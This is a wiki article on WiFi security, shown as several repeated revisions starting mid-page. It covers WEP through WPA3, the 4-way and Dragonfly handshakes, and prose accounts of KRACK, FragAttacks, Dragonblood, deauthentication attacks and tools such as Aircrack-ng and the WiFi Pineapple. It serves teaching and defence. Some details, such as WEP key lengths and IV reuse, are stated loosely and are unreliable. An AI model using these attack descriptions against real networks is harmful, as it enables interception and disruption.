WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T17:04:39Z

RSchuller: /* WEP */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

;Known Weaknesses of WEP
<ref name="WEP versus WPA">{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Mansoori
| first2 = Masood
| last3 = Danesh
| first3 = Mir Mohammad Seyed
| title = Wired Equavilent Privacy (WEP) versus Wi-Fi Protected Access (WPA)
| booktitle = 2009 International Conference on Signal Processing Systems
| year = 2009
| pages = 445-449
| doi = 10.1109/ICSPS.2009.87
| url = https://ieeexplore.ieee.org/document/5166826
}}</ref>

*WEP has no Mechanism to prevent to manipulate data packets.
*WEP can not prevent Replay Attacks
*WEP uses the RC4 Algorithm, this causes weak keys. With brute force it is possible to decrypt the key in minutes or hours on a standard Computer.
*WEP uses the same IV every time, this allows to decrypt data without knowing the current key.
*WEP allows attackers to modify messages or data without knowing the encryption key.
*with WEP it is easy to manipulate Authentication messages.

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air. <ref name="Survey WEP WPA WPA2" />

* Enterprise-WPA or Commercial (802.1X):
Used in commercial or enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a pre-shared key, you will need a RADIUS server to authenticate yourself. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods. <ref name="Survey WEP WPA WPA2" />

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

;WPA2 like WPA supports two modes of security. Like in WPA there are.

*WPA2-Personal or WPA2-PSK (Pre-Shared-Key)
Every Supplicant (Client) and Authenticator (Access Point) are manually configured, to use the same secret, which can be up to 64 ASCII characters. There is also the possibility, to set a 256 bit randomly generated number, but this option is difficult to enter manually into client configurations. <ref name="Survey WEP WPA WPA2" />
*WPA2-Enterprise (802.1X)
This is the also called "corporate" security mode. It is based on the EAP authentication framework, which includes RADIUS, uses several EAP types (such as EAP-TLS) this provides a much stronger authentication system and a secure key distribution. <ref name="Survey WEP WPA WPA2" />

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-07T17:02:13Z

RSchuller: /* Versions */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
